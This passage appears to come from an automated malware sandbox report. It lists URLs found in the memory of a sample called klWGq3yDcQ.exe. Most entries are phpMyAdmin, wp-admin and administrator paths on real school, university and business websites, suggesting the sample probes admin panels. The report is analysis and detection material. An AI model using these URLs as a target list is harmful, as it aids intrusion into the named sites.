Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/jsdisabled
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lumaruniformes.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lwindowelive.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lwindowelive.com/phpmyadmin/dmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lx13.hoststar.hosting
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://macisis.co.uk/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://macisis.co.uk/phpmyadmin/A
Source: klWGq3yDcQ.exe, 00000001.00000002.2879810697.00000000039EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://micro-design.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://micro-design.com/phpmyadmin/4f
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://midcapfunding.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://midcapfunding.com/phpmyadmin/Admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.calvary.qld.edu.au/login/?page=%2Fpma%2F
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.calvary.qld.edu.au/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.calvary.qld.edu.au/phpmyadmin/5
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004218000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://my.calvary.qld.edu.au/saml/index.php?page=%2Fwp-admin%2F
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nohonetworks.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nohonetworks.com/phpmyadmin/K
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.000000000400D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://nwzimg.wezhan.net/static-js/page404.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://octetpowers.in/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2877970062.00000000036E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ogp.-
Source: klWGq3yDcQ.exe, 00000001.00000002.2877970062.00000000036E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ogp.-/hZ
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ondania.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ondania.com/phpmyadmin/O
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paintd.plus.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://paintd.plus.com/phpmyadmin/J
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://parking-crew.com/track.
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com/api/player.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C8000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000003.2251172424.000000004E5EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com/video/783205887?h=2af45961b5&badge=0&autopause=0&player_id=0&am
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://plus.google.com/115113864863866027522
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://polyone.my.salesforce.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://polyone.my.salesforce.com/embeddedservice/5.0/esw.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://polyone.secure.force.com/Feedbackpagetocustomer
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://privatemoe.ae/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://px.ads.linkedin.com/collect/?pid=2466708&fmt=gif
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rdelealtad.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rdelealtad.com/phpmyadmin/W
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rech.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rechagricola.com.br/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rochester-gauges.be/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000003.1729833880.0000000002A57000.00000004.00000020.00020000.00000000.sdmp, unverified-microdesc-consensus.tmp.1.dr	String found in binary or memory: https://sabotage.net
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samson.pe/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samson.pe/#/schema/logo/image/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samson.pe/#organization
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samson.pe/#website
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samson.pe/?s=
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samson.pe/comments/feed/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samson.pe/feed/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://samson.pe/wp-content/uploads/2022/06/logo-samson.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://schema.org
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://schema.org/BreadcrumbList
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://schema.org/ListItem
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004300000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2888110543.0000000004A1D000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://service.force.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://service.force.com/embeddedservice/5.0/esw.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004139000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://snap.licdn.com/li.lms-analytics/insight.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sofia-communications.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CE9000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003F77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stats.wp.com/e-202347.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://student.debritto.sch.id/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://student.debritto.sch.id/phpmyadmin/z
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://student.ub.ac.id/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://students.kasralainy.edu.eg/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://students.kasralainy.edu.eg/phpmyadmin/n-A
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t1eng.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/administrator/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/administrator/outlook.com:220
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/comments/feed/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/feed/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-admin/hp
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-admin/hpdmin/Y
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=4.6.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/plugins/contact-form-7/includes/js/jquery.form.min.js?ver=3.51.0-20
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=4.6.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/plugins/js_composer/assets/css/vc_lte_ie9.min.css
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/font-awesome.
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/plugins/revslider/public/assets/css/settings.css?ver=5.3.1.5
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.tools.min.js?v
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/plugins/slider-captcha/css/slider-captcha.css?ver=0.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/plugins/slider-captcha/js/jquery.ui.touch-punch-improved.js?ver=0.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/plugins/slider-captcha/js/slider-captcha.min.js?ver=1.4.3
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/css/animate.min.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/css/bootstrap.min.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/css/custom.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/css/icomoon-fonts.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/css/jPushMenu.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/css/jquery.fancybox.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/css/loader.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/css/onepage.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/css/owl.carousel.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/css/settings.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/css/zerogrid.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/bootstrap.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886468643.000000000412F000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/custom.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886468643.000000000412F000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/functions.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886468643.000000000412F000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/jPushMenu.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/jquery-countTo.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/jquery.appear.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/jquery.circliful.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/jquery.easing.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/jquery.fancybox-media.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/jquery.fancybox-thumbs.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/jquery.fancybox.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/jquery.mixitup.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/jquery.parallax-1.1.3.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/owl.carousel.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/assets/js/wow.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/themes/bizone/style.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/uploads/2017/02/favicon-32x32.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-content/uploads/2017/02/favicon.png
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-includes/css/dist/block-library/style.min.css?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-includes/js/jquery/jquery.js?ver=1.12.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-includes/js/jquery/ui/core.min.js?ver=1.11.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-includes/js/jquery/ui/draggable.min.js?ver=1.11.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-includes/js/jquery/ui/droppable.min.js?ver=1.11.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-includes/js/jquery/ui/mouse.min.js?ver=1.11.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-includes/js/jquery/ui/widget.min.js?ver=1.11.4
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-includes/js/json2.min.js?ver=2015-05-03
Source: klWGq3yDcQ.exe, 00000001.00000002.2886468643.000000000412F000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-includes/js/wp-embed.min.js?ver=5.1.8
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003B74000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://talentius.com/wp-includes/wlwmanifest.xml
